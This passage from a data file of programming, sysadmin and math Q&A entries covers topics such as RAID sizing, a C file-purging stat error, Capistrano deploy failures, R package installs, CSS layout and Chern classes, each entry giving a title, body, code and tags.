single disk? What commands can I use to discover this?\nI'm trying to use the
cfggen utility to verify this configuration.\n\nPlease advise on how to find the
controller number.\nfrom cfggen docs:\n\n", "./cfggen controller DISPLAY", "raid"],
"1524821": ["Efficient large file delivery over web", "In the last few weeks we
started serving more and more videos by http, ranging from 50 to 500mb each, and as
we didn't had a new server to use it just for that i set it up on our live
streaming server.\nThe box is pretty decent imho (2 x quad at 2ghz, 4gb ram, 4 x
300gb sas 15k rpm in hw RAID1, running Linux 2.6, ext3 fs with deadline scheduler,
nginx as webserver) but we still had issues with delivering the files, mainly i
suspect because our iowait was ranging from 10 to 45% and util was around 90% most
of the times, while cpu was around 20-30%.\nFrom what i've read that should've hold
our ~300-400mbps traffic, but it doesn't.. \nBeing on a budget we can't rely on a
CDN but we can get more processing power if needed and the datacenter can handle
our traffic.\nNow we got a new server that should do only this but i don't know
what would be the best way to setup it, main questions for now being:\n\nwhat raid
level would suit this task more? now have 4 x 300gb + 2 x 146gb, both SAS at 10k
rpm, hw raid, would like more space but redundancy is also important\nhow would i
expand it later, lvm a good idea?\nhow much ram would it need, for now it has 16gb
but can add more if it would give us a decent boost, any tips with it?\ndecided on
xfs for filesystem, anything against/better suited for this?\nhow much could i rely
on only this 1 server?\n\nAny other advices are appreciated.\nThank you.\n", "",
"linux raid storage scalability"], "2727131": ["Error when using stat, errno=2",
"The case is as this, I create many files, and after the file generation, I use
stat to get the all files info under the directory.\nThe purpose is to purge all
the files which are old than the specific days.\nBut I got a ERROR after the file
generation.\nThe code is like this:\n\nI got a ERROR during this line:\n\nThe errno
is 2, No such file or directory.\nBut I checked file, it does exit, and I flush the
stream after the file writing.\nAny one knows the cause?\nThanks.\n", "//generate
files\nDIR *dp;\nstruct dirent *dirp;\nstruct stat buf;\ntime_t now;\nconst char*
fileName;\n\nnow = time(NULL);\nif((dp = opendir(outputDir.c_str())) == NULL)\n{\n
WARNING(\"Fail to open directory: \" << outputDir<<
\", errno=\" << ERRNO());\n return;\n}\n\nwhile(dirp = readdir(dp))\n{\n
fileName = dirp->d_name;\n if(!strcmp(fileName, \".\") || !
strcmp(fileName, \"..\")) continue;\n int ret = stat(fileName, &buf);\n
if(ret)\n {\n closedir(dp);\n WARNING(\"Fail to get info for files \"<<
fileName <<\" via stat, errno=\" << ERRNO());\n return;\n }\n\n if(now -
buf.st_mtime <= days * 24 * 3600) continue;\n\n int rret = unlink(fileName);\n
if(rret)\n {\n closedir(dp);\n WARNING(\"Fail to remove file \"<<
fileName <<\" , errno=\" << ERRNO());\n return;\n }\n\n}\nclosedir(dp);\n",
"files c stat"], "3648731": ["windows server 2003 dhcp IP", "I have a scenario
where user had ip's 192.168.100 to 192.168.1.160 previously it was 192.168.1.10 to
192.168.1.254\nthe problem is that a user which is on 192.168.1.19 and 192.168.1.42
these users have automatic DHCP but the ip is not changing what should I do. Do i
need to release the IP from DHCP and reassign the Ip. \n", "", "windows server"],
"5618124": ["JAVA_HOME is not defined correctly (only from jenkins)", "Trying to
setup jenkins but my builds fails with:\n\nIf I manually run \"ant test\" on the
machine it works just fine and the JAVA_HOME is set to the exact same value. Any
idea why it fails when jenkins try to run it ? Are there any more environment
variabled involved ( I could not see any though ) ?\n", "$ ant test\nError:
JAVA_HOME is not defined correctly.\n We cannot execute /usr/lib/jvm/java-7-
openjdk-amd64/jre/bin/java\nBuild step 'Invoke Ant' marked build as failure\n",
"java ant jenkins"], "2450681": ["Chern classes tangent bundle.", "I studied Chern
classes but I don't find explicit examples of calculation. So I'd like to consider
the tangent bundle over $\\mathbb{C}P^n$ ($T\\mathbb{C}P^n$) and develop the theory
beginning from this example. I have a preliminar question: how can I imagine the
first Chern classes $c_1 \\in H^*(\\mathbb{C}P^1, \\mathbb{Z})$? I read that it is
an hyperplane, but what hyperplane? Why is it the fundamental homology class?\nNow
we have tha Chern classes are the coefficient of characteristic polynomial of the
curvature form $(\\Omega)$ of $T\\mathbb{C}P^n$, where $\\Omega:= d\\omega + \\
frac{1}{2}[\\omega,\\omega]$ with $\\omega$ the connection form. How can I
calculate $\\Omega$ for $\\mathbb{C}P^n$ and why this coefficients are cohomology
classes? And how can I calculate $c(T\\mathbb{C}P^n)$? Futhermore, how can I
imagine Chern classes as the obstruction to reduce the structure group of $T\\
mathbb{C}P^n$ $(U(n))$ to $SU(n)$? Can you explain me and explicit calculus?\n",
"", "differential-geometry algebraic-topology characteristic-classes"], "5660710":
["Setting up Wildcard subdomain (with reverse proxy) on apache 2.2.3", "Hey All,\
nWhat I am trying to achieve is the following:\nI want to have numerous subdomains
such as abc.domain.com redirect to a url such as www.domain.com/something?
subdomain=abc \nSince I am redirecting to a fully qualified domain, I needed to use
a reverse proxy to avoid the change of the URL in the browser. (using the [P] Flag
and turning on the mod_proxy module and some other modules)\nThis is my DNS setup\
n\nThis is my virtual host configuration for apache\n\n\nThis setup is working fine
(Let me know if you think you can improve it of course).\nMy main problem is when I
am trying to setup https:// \nThis is my virtual host configuration for apache\n\
nWhenever I call https://abc.domain.com - the response I am getting is the homepage
but no matter what I am appending to the end of the subdomain, I will get the same
response. It's like the rewrite isn't responding well.\nAny help would be
appreciated, or if you could share how you'd setup reverse proxy, rewrite, wildcard
subdomain and SSL all together\nThanks,\n", "*.domain.com. 14400 A
111.111.11.1\n", "ssl mod-rewrite reverse-proxy httpd wildcard"], "5819000":
["Xcode 4.3.2 and iOS 5.1.1 + jailbreak: App installs but crash on launch", "I
don't have the Apple 79\u20ac/year account. In iOS 5.0 and Xcode 4.2.1 I changed
SDKSettings.plist ecc... And it works. In iOS 5.1.1 and Xcode 4.3.2 no, I already
changed settings ecc but don't work, the app installs on device but crash on
launch... How can I run my app on device without crashes? Thanks, and sorry for my
english.\n", "", "xcode application crash xcode4.3 jailbreak"], "1567838":
["Capistrano VPS deploy error", "I am using Capistrano to deploy to a VPS. In my :\
n\nAnd I got following errors when running : \n\nI can see there are two errors,
cannot be found and the other one failed to run the command. I followed
instruction (https://www.digitalocean.com/community/articles/how-to-install-ruby-
on-rails-on-ubuntu-12-04-lts-precise-pangolin-with-rvm) to install rvm, rubygem and
rails on my VPS using the user. \nWhat else I am missing? \nUpdate \nI am using
rvm-capistrano, and installed everything using the created user, and got a
different error now when deploy:cold:\n\nexecuting \"if [ -d
/home/app/riffbox/shared/cached-copy ]; then cd /home/app/riffbox/shared/cached-
copy && git fetch -q origin && git fetch --tags -q origin && git reset -q --hard
2afbd8fb661f62a01e0940be38e70915fc3e32ea && git clean -q -d -x -f; else git clone -
q [email protected]:xxx/iv.git /home/app/riffbox/shared/cached-copy && cd
/home/app/riffbox/shared/cached-copy && git checkout -q -b deploy
2afbd8fb661f62a01e0940be38e70915fc3e32ea; fi\"\nservers: [\"198.199.74.146\"]\
nPassword: \n[198.199.74.146] executing command\n** [198.199.74.146 :: err] fatal:
could not read Password for 'https://[email protected]': No such device or address\
nPassword: \ncommand finished in 7399ms\n* [deploy:update_code] rolling back\
nexecuting \"rm -rf /home/app/riffbox/releases/20130414224249; true\"\nservers:
[\"198.199.74.146\"]\n[198.199.74.146] executing command\ncommand finished in
586ms\nfailed: \"rvm_path=$HOME/.rvm/ $HOME/.rvm/bin/rvm-shell '1.9.3@myapp' -c 'if
[ -d /home/app/riffbox/shared/cached-copy ]; then cd
/home/app/riffbox/shared/cached-copy && git fetch -q origin && git fetch --tags -q
origin && git reset -q --hard 2afbd8fb661f62a01e0940be38e70915fc3e32ea && git clean
-q -d -x -f; else git clone -q [email protected]:xxx/iv.git
/home/app/riffbox/shared/cached-copy && cd /home/app/riffbox/shared/cached-copy &&
git checkout -q -b deploy 2afbd8fb661f62a01e0940be38e70915fc3e32ea; fi'\" on
198.199.74.146\n\n", "deploy.rb", "ruby-on-rails deployment rvm capistrano rvm-
capistrano"], "4089858": ["How to add numbers in mysql database rows?", "I have a
list of price numbers in my MySql datbase rows. I am new to database and so far I
already tried , , and command in MySql, my program is doing well until I
encountered this situation where I have to add the price numbers in my database.\nI
already research this on the web and most of them are in php, .net, sql form so far
I cant find C# programming language. I found this php code but I have less
experience in php programming language and besides my program is not in php.
Anyway, I use Windows Form C#.\nphp code from :How do I add up all values of rows
in a table? \n\nEDIT\nHi Thank you for all your help I get the right output.\n\n",
"SELECT", "c# mysql sum rows"], "5607556": ["Upgrade from one version of windows 7
to another?", "I have an upgrade disk for windows 7 Pro, but I need to install on a
blank machine so I'm looking at buying a full retail version. My question is, if I
buy win 7 home premium, can I upgrade to pro with my other disk?\n", "", "windows-7
upgrade installation"], "3076283": ["Should the fontenc package be loaded before or
after font packages?", "I seem to recall reading somewhere that should be loaded
either before or after the packages loading fonts, but I cannot remember which. I
don't see differences between loading it before and after. Was what I read
incorrect, or is there a preferred package loading order and why?\n", "fontenc",
"fonts packages incompatibility fontenc"], "5057813": ["ASP.net MVC: Where in my
design should I create/declare entity keys?", "When creating a new entity object
that has a foreign key value I need to create a new Entity key (Entity Framework in
.net 3.5) for the object, but I'm having trouble deciding where in my application I
should do this.\nRight now when I create a new record with a foreign key, I create
the entity key in the controller (in this case a user ID pulled from a membership
provider), assign it to the object and pass it to the repository service layer.\
nAre there any problems with this, or should I be passing the object plus the user
ID to the repository service layer and have it deal with the entity key creation?
Passing one object seems cleaner, but having multiple controllers assigning keys
this way makes me nervous. Thanks.\n", "", "asp.net-mvc design-patterns entity-
framework entitykey"], "3652619": ["External hard drive no detected in a vista
ultimate", "I have created a partition in my external HD and later i am trying to
install XP over Vista .\nSo i have entered into my DOS prompt and i choose the DISK
TYPE and i choose external DD and i tried to CLEAN it , Immediately my external HD
is asked for FORMAT and i rejected it . After that i restarted my system ,
therefore i cannot able to see my external HD on my sysmen\nExternal HD: Seagate
Free agent(500GB)\n", "", "networking windows-vista external-hard-drive"], "47222":
["How to interrupt a running thread and make it run another method?", "I'm
using .Net 3.5 (C#) and I have a class with Start and Stop methods.\nI'm using
BackgroundWorker.DoWork in order to call the Start method from another thread.\nI
want to be able to send a command from my main thread to that thread (the one
running the Start method) and tell it to stop the current method it's running and
start running another (i.e. stop running the Start method and start running
the Stop method).\nWhat is the best way to do that? \nThanks!\n", "", "c#
multithreading .net-3.5"], "2207331": ["List for all team sites for a specific
user", "I am looking for the possibility to display all the team sites a user is
member of in the my site for the user.Also the possibility for the admin to get the
same information about different user. \nIs it possible in SharePoint 2010
entreprise edition? if yes could you please point me in the right direction? \n",
"", "2010 sharepoint-enterprise"], "414812": ["jquery.mobile.scrollview.js: avoid
that scrolling bounces back to original position", "I am using scrollview to scroll
an dynamically generated table wrapped in a div in my app, so i can not apply a
fixed height to the div wrapper. I got it scrolling, but the scrolling content is
bouncing back to the start position. Dos anybody has an idea how to do this
properly, so that I can move the content and it stays there, where I scrolled it?\
nI was googling since several days to find a solution. Hopefully somebody here
encountered the same problem and solved it.\n", "", "jquery jquery-mobile phonegap
scrolling scrollview"], "4478431": ["PHP cUrl mimic web login help", "I've been
trying to automatically log in to specific web page but no success till now.\nI
would really appreciate any help to get me moving....\nThis is the URL for the
login page:\nhttps://www.cellcom.co.il/login/pages/default.aspx\nThe first field is
for the username and the second is for the password.\nI've been using the Live HTTP
header plug in but did not manage to log in.\nThanks.\n", "", "php curl login"],
"3268919": ["R CMD INSTALL is stuck on a function that works... how can I debug
this further?", "note: much of the information in the problem statement is
irrelevant, and the problem has been resolved with no apparent reason through the
debugging steps that are listed in the resolution section\nI apologize for asking a
question about an error that I can not reproduce.\nProblem\nI have a test function
'foo.R' in my package 'PKG'; foo.R consists of:\n\nThe intent of foo is to either
uncomment lines by replacing \"#GGG\" with \"\" when n>1 or to leave the line
commented if n == 1\nThe minimal code required to produce this error is:\n\
nHowever, when I run I get the following error:\n\nUPDATES\n\nBased on the
answers, '\\#' is not the culprit.\nI have found that the problem is during install
(not build), and I have changed the question to reflect this. I have also fixed the
curly braces from my test case.\nAlso, I have found that not only does the function
work, e.g. when loaded with source(), \n\nWhen I make a new project (e.g.
'newproject') and move the function there, it installs without error, i.e. this
works:\n\nmove foo.R to newproject/R/foo.R\nmake a newproject/DESCRIPTION \nR CMD
build newproject\nR CMD INSTALL newproject\n\nThis gives the error above:\n\nR CMD
build PKG\nR CMD INSTALL PKG\n\n\nIn response to the request for the error output
log, the output from is the same as the error from the ,\n\n\n\ninstalling source
package \u2018PKG\u2019 ...\n ** R Error in parse(outFile) :
/home/user/PKG/R/foo.R:24:0:\n unexpected end of input 22:\n
writeLines(model.text, con = outfile)\n 23: } ^ ERROR: unable to collate\n
files for package \u2018PKG\u2019\nremoving \u2018/home/user/PKG.Rcheck/PKG\u2019\
n\n\nResolution\nThe resolution of the error is inexplicable, but I reproduced the
same seemingly magical method on two functions with the same error. \n\n\nVisit new
in emacs\nfor (i in misc bits of function\n\ncut-and-paste i\n\nif can install\
nreturn to \nelse remove bits and return to \n\n\nif no difference except that
function now works\n\nupdate question on SO\nconsider previous error a fluke\
ncontinue as if nothing happened\n\n\nUPDATE 2: culprit found!\nThe problem was an
errant 'e' stuck to the left of the comment symbols ## coming before a function\n",
"foo <- function (filename, n) {\n text <- scan(file = filename, what
= \"character\")\n if (n==1) text <- gsub(\"\\\\#GGG\", '\\\\#', text)\n if (n>1)
text <- gsub(\"\\\\#GGG\", '', text)\n writeLines(text, con = 'newfn.R')\n}\n", "r
install"], "2762440": ["how and when are Ruby variables instantiated", "from rails
console:\n\nmy question is, why the does variable get instantiated to even though
the condition (1==2) fails?\n", "development environment (Rails 3.2.9)\
n1.9.2p320 :001 > defined?(kol)\n => nil \n1.9.2p320 :002 > if 1==2\
n1.9.2p320 :003?> kol = 'mess'\n1.9.2p320 :004?> end\n => nil \n1.9.2p320 :005
> defined?(kol)\n => \"local-variable\" \n1.9.2p320 :006 > kol\n => nil \n", "ruby-
on-rails ruby"], "2767162": ["What other options are there for data storage on
Android besides SQLite?", "I'm trying to do something tricky in SQLite and to
achieve it I have to do many many joins. Original Post\nWhat other options are
there for storing data on android?\n", "", "android database sqlite"], "2153101":
["What is a good way of working with variables in 8 bit blocks?", "I'm playing
around with a toy language design of mine and I have a few problems. I would like
it to have variables specified in bit length. So, for example, one declares the
variables like so:\n\nNow, here's my problem. I'm trying to make an interpreter
for the language in C (or C++). My understanding of C/C++ is that their variable
types are guaranteed to be at least a minimum size, but they can be larger (ie, a
char will be at least 8 bits, but some implementations will have a 16 bit char).\
nHow can I write an interpreter in C/C++ that deals only with specific lengths of
bits? Is the only way to have an array of booleans or to set up bitfields for
something like the char type?\n", "byte value;\ntwo_bytes value;\n", "c++ c
compiler programming-languages language-design"], "3208641": ["Find sitecore items
with a specific OMS profile?", "I have to find all items in Sitecore (or rather, in
the contents) that have a certain OMS (marketing suite) profile checked in
the \"Tracking\" attribute. The Tracking attribute appears to be stored as XML and
has a raw value like\n\nand I need to fetch, for example, all items with
the \"Widdly Scuds\" profile.\nThe first solution I thought of was fast query over
the Tracking attribute. Sitecore query or XML would have to crawl the entire
contents each time, which would probably be unacceptably slow, but I'll try it if
there are no alternatives.\nThis is the first fast query I tried:\n\nbut that
returns 0 results. So I tried this:\n\nand this (which would match the names of
many of the profiles:\n\nAnd those also returns 0 results. I'm not really certain
how Tracking is stored or queried, but it appears to be unusual since I can't get
any results from it by any means.\nThe query needs to be fast enough to run a few
dozen times during a short page rendering (probably not more than 20-30 seconds).
The results can be cached for awhile, but not very long. The front page of a
section of the site I'm working on needs to display an item count for each profile
I'm querying, and there will be, maybe, 50-ish profiles.\nSo, how do I quickly get
all items with a certain marketing profile?\nEdit: I ended up using Lucene. Details
of that adventure to appear in future questions, maybe...\n", "<tracking><profile
name=\"Widdly Scuds\"><!-- some irrelevant keys... --></profile></tracking>\n",
"sitecore"], "2371627": ["SDL transparent suface isue", "I am now writing
program(game) with SDL library, and got into trouble. Problem is this: when the
surface, which contains a PNG image with a transparent background,is blit to
another surface which transparent background, and this compilation show on screen I
see only a picture of intersection of the place, which is not transparent.\ni.e. If
we have a vertical line and blit it on horizontal line we see square point, not
cross.\nAnyone known how to fix it?\n", "", "png sdl alphablending surface"],
"4215592": ["How to configure test-reports on Jenkins CI working with grails?", "I
configured JenkinsCI to build and run test on a grails application. \nBut I don't
understand the junit test-reports configuration.\nI try to put target/test-
reports/*.xml but I receive an error that the files does not exists.\nHow to
configure it ?\nThanks \n", "", "grails jenkins"], "4470325": ["Need code for
pagination in PHP?", "I search a pagination script/class/helper in PHP for an Array
of data, not for SQL statements. Someone know a solution?\n", "", "php
pagination"], "2267": ["Python - Set class property to depend on values of other
properties in the same class", "Sorry if this already exists somewhere in the
question archives, but I'm not sure how to ask it and searching didn't lead to any
great revelations.\nIn Python (2.6.x) I have created a class\n\nWhich returns\n\nSo
the .jd property (or do I call this a function or a method? I'm unsure of the lingo
here honestly) doesn't exist before the start.jd() call. Is there a way I can
somehow rewrite this to make it always exist based on the current values in the
timetuple class, or have it update itself when the .jd property is called?\nI know
I can do it the long way by just making a .jd property in the init(self) section
and then do something like\n\nbut I'd like to know how to set up my classes better
honestly :)\n", "class timetuple(object):\n def __init__(self):\n
self.weekday = 6\n self.month = 1\n self.day = 1\n
self.year = 2011\n self.hour = 0\n self.min = 0\n
self.sec = 0\n def jd(self):\n self.jd = julian_date(self)\n\ndef
julian_date(obj):\n (Code to calculate a Julian Date snipped)\n\nstart =
timetuple()\nstart.day = 23\nstart.month = 2\nstart.year = 2011\nstart.hour =
13\nstart.min = 30\nstart.sec = 0\n\nprint start.__dict__\nstart.jd()\nprint
start.__dict__\nprint start.jd\n", "python class
function methods properties"], "3225278": ["Why does this background image not
show in Internet Explorer?", "(Yes I know another question about that obsolete
browser)\nMy background image does not show in IE but works fine for Chrome and
FF.\n\n", "#wlt-DealView .blueBox .buyButton {\n background:
url(http://domain.com/themes/regular/images/buybutton.png) no-repeat scroll 0 0
transparent;\n color: #FFFFFF;\n cursor: pointer;\n float: right;\n
font-size: 200%;\n height: 50px;\n line-height: 45px;\n margin: 25px 10px
10px;\n padding: 0;\n text-align: center;\n width: 120px;\n}\n", "css
internet-explorer background-image"], "3507246": ["Is NoSQL 100% ACID 100% of the
time?", "Quoting: http://gigaom.com/cloud/facebook-trapped-in-mysql-fate-worse-
than-death/\n\nThere have been various attempts to\n overcome SQL\u2019s
performance and\n scalability problems, including the\n buzzworthy NoSQL movement
that burst\n onto the scene a couple of years ago.\n However, it was quickly
discovered\n that while NoSQL might be faster and\n scale better, it did so at
the expense\n of ACID consistency.\n\nWait - am I reading that wrongly?\nDoes it
mean that if I use NoSQL, we can expect transactions to be corrupted (albeit I
daresay at a very low percentage)?\n", "", "nosql"], "3971493": ["compared two
parameters using \"<\" in shell", "let's assign like this:\n\nit doesn't work!!\
nhowever, when\n\nwith b and command same, it works well.\nThat's very funky! Can
somebody explain that?\n", "a=7\nb=29\n[[ $a < $b ]] && echo dasf\n", "linux
shell"], "2472193": ["Parse whole XML Document into PHP Variables Automatically",
"Hey, Basically got a massive XML document, with lots of nodes n attributes values
and all that jazz.\nI'm wanting to be VERY lazy as I'm awful at XML/PHP and google
seems to have failed me on this occasion.\nif it possible to grab EVERY element in
the XML document and make it a PHP variable?\nSo if my XML Doc was like maybe...\n\
nso it would recursively check the document converting it all into php variables no
matter what the name of the tags/nodes. so for example they would end up looking
like maybe.\n$wrap;\n$sub1;\n$sub[2];\n$sub2;\n$sub3;\n$sub4;\n$sub3['value'];\
n$sub4['value'];\nso it would have to me smart to delve deep into possibly like 8
children down?\nis this possible or will i have to type out like\n$sub1 = $xml-
>wrap->sub1; because that's like...over 1k lines of code that i don't want to exist
lol.\njust incase the xml feed is HERE\nthanks for your time :)\n", "<wrap>\n
<sub></sub>\n <subsub></subsub>\n <sub></sub>\n <subsub></subsub>\n
<sub2></sub2>\n <sub3 value=''></sub3>\n <sub4 value=''></sub4>\n</wrap>\n", "php
xml parsing"], "5088298": ["SMTP service - using given smtp, setup account and send
email", "I have a requirement where i ask customer's to provide their smtp account
to our website. And then for all the email sending that happens from the customer
on our website, we use their smtp details and send email on their behalf.\nNow i
want to outsource this smtp service. So i am looking for such sites, that can help
me in hosting this service at their end. So whenever a customer provides their smtp
details, i will pass it on to the service provider and they will setup the smtp
account on their end. \nThere after, whenever i want to send email using the smtp
address of customer, i will pass on the email contents to the service provider and
they will handle all the operation of emailing at their end. (Note: the service can
be paid, no issues)\nI searched alot on google to see if any service provider
matches this but could not find anyone suitable as of now. Can anyone share such
service providers they know?\nAppreciate your help and thanks in advance.\nNote:
The service should be simple enough like a blackberry service. So if i pass the
username / password of the SMTP email to the service, it should be able to setup
the SMTP account at it's end and be able to send emails there after.\n", "", "email
smtp"], "84629": ["Custom cell in tableView in ios 5", "I am trying to reduce the
cell's one label's width at particular indexPath.row but its not working..\nbelow
i added code for that and I am using iOs 5 storyboard.\nAny one have other way to
change the size of label at run time ??\n\n", "- (UITableViewCell *)tableView:
(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath\n{\nstatic
NSString *CellIdentifier = @\"Cell\";\n\nUITableViewCell *cell = [tableView
dequeueReusableCellWithIdentifier:@\"name&email\"];\nif (cell == nil) {\n cell =
[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault
reuseIdentifier:CellIdentifier];\n\n\n}\nUILabel *nameLabel = (UILabel *)[cell
viewWithTag:100];\nUILabel *detail = (UILabel *)[cell viewWithTag:101];\
nif(indexPath.row == 0){\n nameLabel.text = @\"Name : \";\n detail.text =
@\"\";\n}else if(indexPath.row == 1){\n nameLabel.text = @\"Email : \";\n
detail.text = @\"\";\n}else if(indexPath.row == 2){\n nameLabel.text =
@\"Location Alerts\";\n detail.text = @\"Notifies people when they are close to
a saved spot\";\n// here i am changing the width of lable\n detail.frame =
CGRectMake(0, 0, 100, 0);\n}else if(indexPath.row == 3){\n nameLabel.text =
@\"Share This App :\";\n detail.text = @\"(post to facebook/twitter)\";\n}else
if(indexPath.row == 4){\n nameLabel.text = @\"Review This App :\";\n
detail.text = @\"(on iTunes)\";\n}else if(indexPath.row == 5){\n nameLabel.text
= @\"Get Help :\";\n detail.text = @\"(send an email to me)\";\n}\n// Configure
the cell...\n\nreturn cell;\n}\n", "uitableview uitableviewcell ios5 uilabel"],
"238099": ["How to position a div with left position against another div and right
position at the edge of the screen?", "I need to do a simple website with a header
just like this:\n\nMy picture may not be perfectly accurate, but the wrapper must
be exactly 960px, centered.\nWhile the menu bar... Must have a infinite width to
the RIGHT, no matter what size of the client screen.\nFor both sides, we all know
that width: 100% solves it quickly and sharply. But for just one side?\nSo far,
i've managed to make it work in a workaround way by doing this mix of css:\n\nWith
this JS code:\n\nWhat i created was:\nFirst, a div, called top_menu, inside the
wrapper, which create the part of the menu where i will write the links and put the
fancy rounded border, the little house and etc.\nAnother div, called
top_menu_scrapper, which is absolute and basically, has just height, top and left
alignment and background color.\nThe JS captures the width of the user screen,
takes off 960 (the size of the wrapper) resting just the both sides out of the
wrapper. Since i only want it for one size, i split the value in half, and BAM, we
get the correct size in pixels for the part of the screen i want to fill with.\nIt
seemed perfect for me, but guess what, my boss said it is a kinda \"bug-ish\"
because if the client loads the page in a small screen, and then maximize it
without reload again, we'll see a big hole in the right side.\nYes, my friends, for
more weird that it sounds, this is exactly what he's complaining about.\nAnyway, so
here i am, asking for a bit of your knowledge to aid my propose.\nIf you guys know
a better way to do this menu... OR make my JS work in REAL-TIME, i'd be most
gratefull for your support :D\n", ".wrapper {\nmax-width: 960px;\nmargin: 0 auto;\
nposition: relative;\nwidth: 960px;\n}\n\n#top_menu {\nmargin-top: 48px;\nheight:
40px;\nwidth: 582px;\ndisplay: block;\nfloat: right;\n}\n\n#top_menu .leftborder {\
nwidth: 7px;\nheight: 40px;\nbackground: url('images/menuborder.jpg') no-repeat;\
ndisplay: block;\nfloat: left;\n}\n\n#top_menu .content {\nwidth: 543px;\nheight:
20px;\nbackground-color: #231f20;\ndisplay: block;\nfloat: left;\npadding: 10px
16px;\n}\n\n#top_menu_scrapper {\nposition: absolute;\ndisplay: block;\nheight:
40px;\nbackground-color: #231f20;\nheight: 40px;\ntop: 48px;\nleft:960px;\nwidth:
0px;\nmargin: 0;\n}\n", "javascript html css div width"], "2785945": ["Exposing
rejection reason in Websphere MQ messages", "Suppose I have an application fed by a
MQ queue. When the application receives a message that contains errors, the
application itself pushes the received message to a certain invalid message queue.\
nMy question is: what is the recommended way to have the receiving application
append the failure/rejection reason to the message pushed on the invalid message
queue? Some solutions come to mind, but I'm unsure which one is considered \"best-
practice\":\n\n(ab)using a standard header field\nadding a custom header\
nencapsualting the message in another message\n\n", "", "header message websphere-
mq error-reporting"], "5173339": ["Open Source/Multi-licensing Questions", "I am a
web developer and have recently built a project and hade some licensing questions.
My idea is to;\n\nRelease a free version where people can use and contribute but
the software only releases under my name and company/website, and cannot be sold or
distributed by others. Credit of course will be given.\nAlso have future commercial
releases to make some sort of profit.\n\nI am guessing I need multiple licenses one
for limited open source and one for commercial to make money.\nCan you please help
me choose a correct licenses that will keep me the owner but let people use the
tool. Or guide me to where I can get some help.\nThank you very much.\n", "", "web-
applications open-source licensing distribution"], "5233206": ["Problems with
javascript and binding keys", "So I'm trying to make a (super) simple software
instrument for a new project I'm working on. The way I was going about doing this
is similar to Garageband's \"musical typing\", where certain notes are bound to
certain keys on your keyboard. What I've been attempting to is bind super small
mp3's (~100kb each) to buttons and keys. The way I did this is as fallows:\n\nFor
the key binding, I am using the jKey jquery plugin.\nThings work (mostly) but there
are a few problems:\n\nIn Chrome, when the key or button is pressed, the sound
skips and then seems to restart again real fast. Firefox doesn't work (firebug says
its something to do with the .currentTime), but Safari works perfectly.\nWhen
holding the keydown, I would like it to NOT keep executing the function. Currently,
holding the key down keeps replaying the bit, resulting in a \"dun dun dun dun dun
dun dun dun dun dun dun\" sound. \n\nAny suggestions on how to fix the following is
much appreciated. I tried the regular ways to bind keys in javascript and I am
getting the same results, so I know it's not jKey. \nAlso - if anyone has any
suggestions how to go about doing this an entirely different / better way, feel
free to tell me! Thanks!\nI should also mention that the .current time is so that
it starts replaying the note as soon as the button is pressed. \n", " var a =
document.createElement('audio');\n var s = document.createElement('audio');\n
var d = document.createElement('audio');\n var f =
document.createElement('audio');\n\n a.setAttribute('src', 'Sounds/a.mp3');\n\n
$('.a').click(function() {\n a.currentTime = 0;\n a.play();\n });\n\
n $(document).jkey('a',function(){\n a.currentTime = 0;\n a.play();\
n return false;\n });\n", "jquery javascript-events music instruments
keyboard-events"], "5931194": ["Binding core plot library in monotouch error", "I
am using MonoTouch 5.0.2. I am trying to bind the core plot library using btouch
tool.\nFirst I downloaded core plot library 0.4, then i downloaded the monotouch
example which is using this library. Now i have the coreplot.cs which is the API
definition class and the enums.cs class and the extra.cs class and finally the
assembly.cs which link my Objective C library with MonoTouch.\nI got this error:\n\
nMy command is:\n\n", "Monotouch.coregraphics.cgcolor.handle is inaccessible\
nmonotouch.coregraphics.cgpath.handle is inaccessible\n", "c# ios monotouch core-
plot cocoa-bindings"], "5607552": ["startup entry in cocoa", "How to make a start
up entry in cocoa\nI have asked a question for start up entry in cocoa at this
link.\nHow to make a startup entry in cocoa\nI have used this Library for start up.
I am getting the following 2 error \n1.'Loginitems' undeclare(first use in this
function. \n2. sysntesized property 'Loginitems must be named the same as a
compatible ivar or must explicitly name an
ivar.\nhttp://stackoverflow.com/questions/11426595/how-to-make-a-startup-entry-
i[enter link description here][2]n-cocoa/11426999#11426999\nIf somebody have used
this Li bray.Please provide me help for that.I am new bie in cocoa\nenter code
here\nthis is\n LaunchAtLoginController.h class\n@interface LaunchAtLoginController
: NSObject {}\n@property(assign) BOOL launchAtLogin;\n\n(BOOL) willLaunchAtLogin:
(NSURL*) itemURL;\n(void) setLaunchAtLogin: (BOOL) enabled forURL: (NSURL*)
itemURL;\n\n@end\n", "", "cocoa startup entry"], "4458331": ["Difference between
storing values in character pointer with malloc and without", "I have a character
pointer like this\n\nI can allocate values to it like this\n\nNow when I can do
this, why should I use an malloc?\nAm I just lucky that this pointer is not
referencing an address that is being used by a process? Or are there chances that
my data will be corrupted by someother process if I don't use 'malloc'?\n", " char
*ptr;\n", "c++ c malloc"], "4478432": ["VBA Excel use '-' when value is null", "I
am displaying data from a SQL query in Excel as follows:\nActiveCell.Offset(r,
1).Value = rs2.Fields(\"OTCSalesQTD\").Value\nWhen the returned value is NULL I
would like to display '--' rather than an empty cell. How can this be done in
Excel VBA?\n", "", "excel-vba"], "5054863": ["Install Flash Player on Firefox w/o
admin access?", "Say, juys. \nI'd really like a way to install Adobe Flash Player
10 (or latest version) on Firefox 3 without having admin access in a corporate
environment. Because I'm a limited user, I can't do the install myself with or
without Adobe Download Manager. Is there any way to accomplish this, anyone?\
nShould I try something like Portable Apps maybe?\nThanks very much!\n", "",
"firefox installation adobe flash-player non-admin"], "5178542": ["Prove Borel
sigma-algebra translation invariant", "Can anyone explain: Let $B$ be a Borel set
and $B + a = \\{ x + a : x \\in B\\}$. Why is $B + a$ a Borel set?\nI think I have
to use some good set principle but not sure how to complete the proof.\n", "",
"measure-theory"], "93101": ["TFS2010 Team build - how to deploy databases before
running unit tests", "I followed How to prepare database for TFS deployment
walkthrough\nand my build script successfully deploys the database at the end of
the build process. However, I need the database to be deployed before running unit
tests.\nI tried copying the step and pasting it right above \"Get Impacted Tests,
Index Sources and Publish Symbols\". However, the build process returns the
following error: \n\n* The deployment manifest file Database_Core.deploymanifest
does not exist\n Here is the excerpt from my xaml file for the database deploy:\n\
n\n", " <Sequence DisplayName=\"Deploy Database\"
sap:VirtualizedContainerService.HintSize=\"486,330\">\n
